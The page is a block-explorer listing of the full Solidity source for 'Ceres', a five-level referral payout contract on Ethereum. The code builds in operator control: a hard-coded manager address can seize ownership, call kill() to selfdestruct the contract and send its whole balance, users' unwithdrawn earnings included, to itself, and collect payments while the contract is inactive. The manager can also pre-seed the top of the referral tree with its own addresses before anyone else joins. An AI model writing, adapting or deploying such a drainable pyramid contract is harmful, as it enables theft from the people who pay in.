ETH Price: $2,121.64 (+7.19%)

Contract Diff Checker

Contract Name:
Ceres

Contract Source Code:

File 1 of 1 : Ceres

pragma solidity >=0.4.21 <0.7.0;


library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a * b;
        assert(a == 0 || c / a == b);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a / b;
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b <= a);
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}

contract Ownable {
    address public owner;
    address public manager;
    bool public active;
    constructor() public {
        owner = msg.sender;
        manager = 0x8E968988807b41b317BbA732435723f25221E955;
        active = (owner == manager);
    }

    modifier onlyManager() {
        require(msg.sender == manager, "2002");
        _;
    }

    modifier onlyOwnerOrManager() {
        require(
            (msg.sender == owner) || (msg.sender == manager),
            "2003"
        );
        _;
    }

    function transferOwner(address newOwner) public onlyManager {
        owner = newOwner;
    }

    function transferManager(address _manager) public onlyManager {
        manager = _manager;
    }

    function transferActive(bool _active) public onlyManager {
      active = _active;
    }

    function kill() public onlyOwnerOrManager { 
        selfdestruct(address(uint160(manager)));
    }
}

contract Ceres is Ownable {
    event registerEvent(
        address indexed _user,
        address indexed _referrer,
        uint256 _userid,
        uint256 _referrerid,
        uint256 _time,
        uint256 _expired
    );
    event buyEvent(
        address indexed _user,
        uint256 _userid,
        uint256 _time,
        uint256 _expired
    );

    event withdrawEvent(
        address indexed _user,
        uint256 _amound
    );

    uint256 REFERRER_1_LEVEL_LIMIT = 5;
    uint256 PERIOD_LENGTH = 365 days;
    uint256 LEVEL_PRICE = 1 ether;
    uint256 ACTIVE_PRICE = 5 ether;
    uint256[5] DISTRIBUTION=[10,15,20,25,30];
    

    struct UserStruct {
      bool isExist;
      uint256 id;
      uint256 referrerID; 
      address[] referral; 
      uint256 expired; 
      uint256 recommend;
      uint256 amount;
      uint256 paid;
    }


    mapping(address => UserStruct) public users;
    mapping(uint256 => address) public userList;
    uint256 public currUserID = 0;
    uint256 public tradingTotal = 0;
    uint256 public etherTotal = 0;
    uint256 public createTime = 0;
    uint256 public seedIndex = 0;

    constructor(uint256 _days, uint256 _level_price,uint256 _active_price,uint256[5] memory _distribution) public {
      require(_days > 0 && _days <= 3650, "2004");
      ACTIVE_PRICE = _active_price;
      PERIOD_LENGTH = _days * 1 days;
      LEVEL_PRICE = _level_price;
      
      uint256 _total = 0;
      for(uint i = 0; i < 5; i++) {
          if(_distribution[i]>0){
              _total+=_distribution[i];
          }else{
              _total = 0;
              break;
          }
      }
      if(_total!=100){
          revert("2020");
      }
      DISTRIBUTION = _distribution;
      
      
      UserStruct memory userStruct;
      currUserID++;

      userStruct = UserStruct({
          isExist: true,
          id: currUserID,
          referrerID: 0,
          referral: new address[](0),
          expired:32503680000,
          recommend:0,
          amount:0,
          paid:0
      });
      users[msg.sender] = userStruct;
      userList[currUserID] = msg.sender;

      createTime=now;
      active = (msg.sender==manager);
    }

    function() external payable {
        address sender = msg.sender;
        if(active==false && ACTIVE_PRICE==msg.value){
          address(uint160(manager)).transfer(msg.value);
          active = true;
          return;
        }
        require(msg.value == LEVEL_PRICE, "2006");
        if (users[sender].isExist) {
            buyLevel(sender);
        } else {
            uint256 refId = 0;
            address referrer = bytesToAddress(msg.data);
            if (users[referrer].isExist) {
                refId = users[referrer].id;
            } else {
                revert("2009");
            }
            registerLevel(refId, sender);
        }
        tradingTotal++;
    }

    function registerLevel(uint256 _referrer, address _user)
        public
        payable
    {
        require(!users[_user].isExist, "2010");
        require(
            _referrer > 0 && _referrer <= currUserID,
            "2011"
        );
        require(msg.value == LEVEL_PRICE, "2008");

        uint256 originalReferrer = _referrer;
        if (
            users[userList[_referrer]].referral.length >= REFERRER_1_LEVEL_LIMIT
        ) {
            _referrer = users[findFreeReferrer(userList[_referrer])].id;
        }

        UserStruct memory userStruct;
        currUserID++;

        uint256 expired = now + PERIOD_LENGTH;

        userStruct = UserStruct({
            isExist: true,
            id: currUserID,
            referrerID: _referrer,
            referral: new address[](0),
            expired:expired,
            recommend:0,
            amount:0,
            paid:0
        });
        
        users[_user] = userStruct;
        userList[currUserID] = _user;
        
        users[userList[_referrer]].referral.push(_user);
        users[userList[originalReferrer]].recommend +=1;
        payForLevel(_user);
        emit registerEvent(
            _user,
            userList[_referrer],
            userStruct.id,
            userStruct.referrerID,
            now,
            expired
        );
    }

    function buyLevel(address _user) public payable {
        require(users[_user].isExist, "2012");
        require(msg.value == LEVEL_PRICE, "2008");
        uint256 expired = users[_user].expired;
        if (expired < now) {
            expired = now;
        }
        expired += PERIOD_LENGTH;
        users[_user].expired = expired;
        
        payForLevel(_user);
        emit buyEvent(_user, users[_user].id, now, expired);
    }

    function buyHelp(address _target)
        external
        payable
    {
        require(msg.value == LEVEL_PRICE, "2008");
        if (users[_target].isExist) {
            buyLevel(_target);
        }else{
            uint256 refId = 0;
            if (users[msg.sender].isExist) {
                refId = users[msg.sender].id;
            } else {
                revert("2009");
            }
            registerLevel(refId, _target);
        }
        tradingTotal++;
    }

    function payForLevel(address _user) internal {
      address[] memory referrers=new address[](5);
      referrers[0]=findReferrer(_user);
      referrers[1]=findReferrer(referrers[0]);
      referrers[2]=findReferrer(referrers[1]);
      referrers[3]=findReferrer(referrers[2]);
      referrers[4]=findReferrer(referrers[3]);
      
      uint256 toManager=0;
      for(uint256 i=0;i<referrers.length;i++){
        address _addr=referrers[i];
        uint256 value = SafeMath.div(SafeMath.mul(LEVEL_PRICE,DISTRIBUTION[i]),100);
        if(active==false && _addr==userList[1]){
            toManager+=value;
        }else{
            users[_addr].amount=SafeMath.add(users[_addr].amount,value);
        }
      }
      if(toManager>0){
          address(uint160(manager)).transfer(toManager);
      }
      etherTotal += msg.value;
    }

    function withdraw()
        external
        payable
    {
        uint256 amount = users[msg.sender].amount;
        require(users[msg.sender].isExist,"2012");
        require(amount>0,"2018");
        require(address(this).balance>=amount,"2019");
        users[msg.sender].paid=SafeMath.add(users[msg.sender].paid,amount);
        users[msg.sender].amount=0;
        address(uint160(msg.sender)).transfer(amount);
        emit withdrawEvent(msg.sender,amount);
    }

    function findFreeReferrer(address _user)
        public
        view
        returns (address)
    {
        if (users[_user].referral.length < REFERRER_1_LEVEL_LIMIT) {
            return _user;
        }
        address[] memory referrals=new address[](11718);
        for(uint256 i = 0; i < REFERRER_1_LEVEL_LIMIT; i++) {
          referrals[i] = users[_user].referral[i];
        }

        address freeReferrer;
        bool noFreeReferrer = true;

        for(uint256 i=0;i<referrals.length;i++){
          if (users[referrals[i]].referral.length == REFERRER_1_LEVEL_LIMIT) {
              if(i<3905){
                for(uint256 j = 0; j < REFERRER_1_LEVEL_LIMIT; j++) {
                    referrals[(i+1)*REFERRER_1_LEVEL_LIMIT+j] = users[referrals[i]].referral[j];
                }
              }
          } else {
              noFreeReferrer = false;
              freeReferrer = referrals[i];
              break;
            }
        }

        require(!noFreeReferrer, "2016");
        return freeReferrer;
    }

    function appendSeed(address _referrer,uint256 sum) external payable onlyManager {
        require(users[_referrer].isExist,"2009");
        require(tradingTotal==0,"Not allowed to add");
        SeedContract sc = SeedContract(0xBEBE40605260F8716A18B3C5007b9113Ec65CE61);
        address[] memory _seeds = sc.getList();
        uint256 limit=sum+seedIndex;
        require(_seeds.length>=limit,"Alternate address exceeded");

        uint256 refId = 0;
        
        for(uint256 i=seedIndex;i<limit;i++){
            uint256 n=i/5;
            if(n==0){
                refId = users[_referrer].id;
            }else{
                refId=users[_seeds[n-1]].id;
            }
            address _user=_seeds[i];
            UserStruct memory userStruct;
            currUserID++;

            userStruct = UserStruct({
                isExist: true,
                id: currUserID,
                referrerID: refId,
                referral: new address[](0),
                expired:0,
                recommend:0,
                amount:0,
                paid:0
            });
            users[_user] = userStruct;
            userList[currUserID] = _user;
            users[userList[refId]].referral.push(_user);
        }
        seedIndex=limit;
    }

    function viewUserById(uint256 userid) 
        public
        view
        returns (uint256 id,address useraddr, uint256 referrerid, address referrer,address[] memory referrals, uint256 expired, uint256 recommend, uint256 amount,uint256 paid)
    {
        return viewUser(userList[userid]);
    }

    function viewUser(address _user)
        public
        view
        returns (uint256 id,address useraddr, uint256 referrerid, address referrer,address[] memory referrals, uint256 expired, uint256 recommend, uint256 amount,uint256 paid)
    {
        id = users[_user].id;
        referrerid = users[_user].referrerID;
        recommend = users[_user].recommend;
        amount = users[_user].amount;
        paid = users[_user].paid;
        if (referrerid > 0) {
            referrer = userList[referrerid];
        } else {
            referrer = address(0);
        }
        expired = users[_user].expired;
        referrals = users[_user].referral;
        
        return (id,_user, referrerid, referrer,referrals, expired, recommend, amount,paid);
    }

    function viewExists(address _user)
        public
        view
        returns (bool)
    {
        return users[_user].isExist;
    }

    function viewExistsById(uint256 _user)
        public
        view
        returns (bool)
    {
        return users[userList[_user]].isExist;
    }

    function viewReferralsById(uint256 userid)
        public
        view
        returns (address[] memory)
    {
        return viewReferrals(userList[userid]);
    }

    function viewReferrals(address _user)
        public
        view
        returns (address[] memory)
    {
        return users[_user].referral;
    }

    function viewSummary()
        public
        view
        returns (address _owner,address _manager,uint256 user_sum,uint256 trading_sum,uint256 ether_sum,
        bool active_status,uint256 cycle,uint256 create_time,uint256 price,uint256 active_price,uint256 balance)
    {
        _owner=owner;
        _manager=manager;
        user_sum=currUserID;
        trading_sum=tradingTotal;
        ether_sum=etherTotal;
        active_status=active;
        cycle=PERIOD_LENGTH / 1 days;
        create_time=createTime;
        price=LEVEL_PRICE;
        active_price=ACTIVE_PRICE;
        balance=address(this).balance;
    }

    function viewTest() public view returns (uint256 bb){
        bb=etherTotal;
    }

    function findReferrer(address _user)
        internal
        returns (address ref)
    {
        uint256 _id = users[_user].referrerID;
        if(_id==0){
            ref = userList[1];
        }else if(users[userList[_id]].expired>=now){
            ref= userList[_id];
        }else{
            ref=findReferrer(userList[_id]);
        }
    }

    function bytesToAddress(bytes memory bys)
        private
        pure
        returns (address addr)
    {
        assembly {
            addr := mload(add(bys, 20))
        }
    }
    function test2() public view returns(uint256,uint256){
        return (seedIndex,currUserID);
    }
}

contract SeedContract  {
    function getList() public view returns(address[] memory);
}

Please enter a contract address above to load the contract details and source code.

Context size (optional):